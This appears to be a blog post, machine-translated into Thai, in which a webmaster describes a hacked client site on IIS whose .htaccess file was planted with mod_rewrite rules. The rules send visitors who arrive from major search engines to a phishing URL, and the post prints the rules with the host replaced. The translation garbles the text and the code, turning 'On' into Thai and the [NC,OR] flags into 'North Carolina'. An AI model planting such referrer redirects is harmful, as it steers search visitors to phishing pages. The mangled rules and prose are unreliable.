วันพฤหัสบดี, 22 มกราคม, 2009 | ผู้เขียน:

ฉันเป็นอย่างเมื่อเร็ว ๆ นี้พบว่ามีปัญหากับเว็บไซต์ของลูกค้าเนื่องจาก .htaccess ไฟล์. เว็บไซต์ที่ถูกโฮสต์ใน หน้าต่าง เซิร์ฟเวอร์ทำงาน IIS การใช้ IISPassword, ซึ่งทำให้การใช้ .htaccess ไฟล์สำหรับการตั้งค่าของ.

IISPassword ไม่ปฏิบัติตามกฎระเบียบที่แน่นอนเช่นเดียวกับกับ อาปาเช่ อย่างไรก็ตาม. ถ้าแฟ้ม htaccess. ที่มีอยู่แล้วมัน ต้อง มีกฎระเบียบ IISPassword เหมาะสม, มิฉะนั้นเซิร์ฟเวอร์ส่งกลับเฉพาะข้อผิดพลาดดังต่อไปนี้:

Error 500 given by IIS Password
นี่คือเนื้อหาของแฟ้ม htaccess. เป็น. ผมได้มีการปรับเปลี่ยนเพียง URL การเปลี่ยนเส้นทางสุดท้ายที่จะชี้ไปยัง example.com เหมาะสม:

RewriteEngine บน
RewriteCond %{HTTP_REFERER} .*ของ google. * $ [อร์ทแคโรไลนา,หรือ]
RewriteCond %{HTTP_REFERER} .*AOL. * $ [อร์ทแคโรไลนา,หรือ]
RewriteCond %{HTTP_REFERER} .*msn ได้. * $ [อร์ทแคโรไลนา,หรือ]
RewriteCond %{HTTP_REFERER} .*yahoo. * $ [อร์ทแคโรไลนา,หรือ]
RewriteCond %{HTTP_REFERER} .*Yandex. * $ [อร์ทแคโรไลนา,หรือ]
RewriteCond %{HTTP_REFERER} .*Rambler. * $ [อร์ทแคโรไลนา,หรือ]
RewriteCond %{HTTP_REFERER} .*แล้ว $. [อร์ทแคโรไลนา]
RewriteRule .* ที่ http://siffy ฟิชชิ่ง-url.example.com [R,L]

ถ้านี่ ได้ บนเซิร์ฟเวอร์ที่ใช้ Apache ด้วย mod_rewrite, ผู้ใช้เว็บส่วนใหญ่จะไปกับเนื้อหาของเว็บไซต์ที่ถูกต้อง. เฉพาะในกรณีที่พวกเขามาถึงเว็บไซต์ผ่านเครื่องมือค้นหาและดัชนีที่ระบุไว้ใน htaccess., พวกเขาจะถูกนำไปยังฟิชชิ่ง url siffy ข้าวเกรียบว่าต้องการจะไปให้ถึงผู้ประสบภัย.

แน่นอน, ข้าวเกรียบ (หรือบางทีก็เป็นหนอนอัตโนมัติ) ไม่ทราบว่าเซิร์ฟเวอร์ในคำถามที่ไม่ได้สนับสนุน mod_rewrite กฎเหล่านี้. แต่อย่างใด, นี้เป็นกังวลมากที่สุดเท่าที่ฉันสามารถล่วงรู้อาร์กิวเมนต์มากหรือไม่เกี่ยวกับเว็บไซต์ที่มีการ การทำงาน

หุ้น
หมวดหมู่: โฮสติ้ง, สุ่ม
คุณสามารถปฏิบัติตามคำตอบใด ๆ ที่รายการนี​​้ผ่าน RSS 2.0 อาหาร. คุณสามารถ ออกจากการตอบสนอง, หรือ การติดตาม จากเว็บไซต์ของคุณเอง.
ปล่อยให้ตอบกลับ » เข้าสู่ระบบ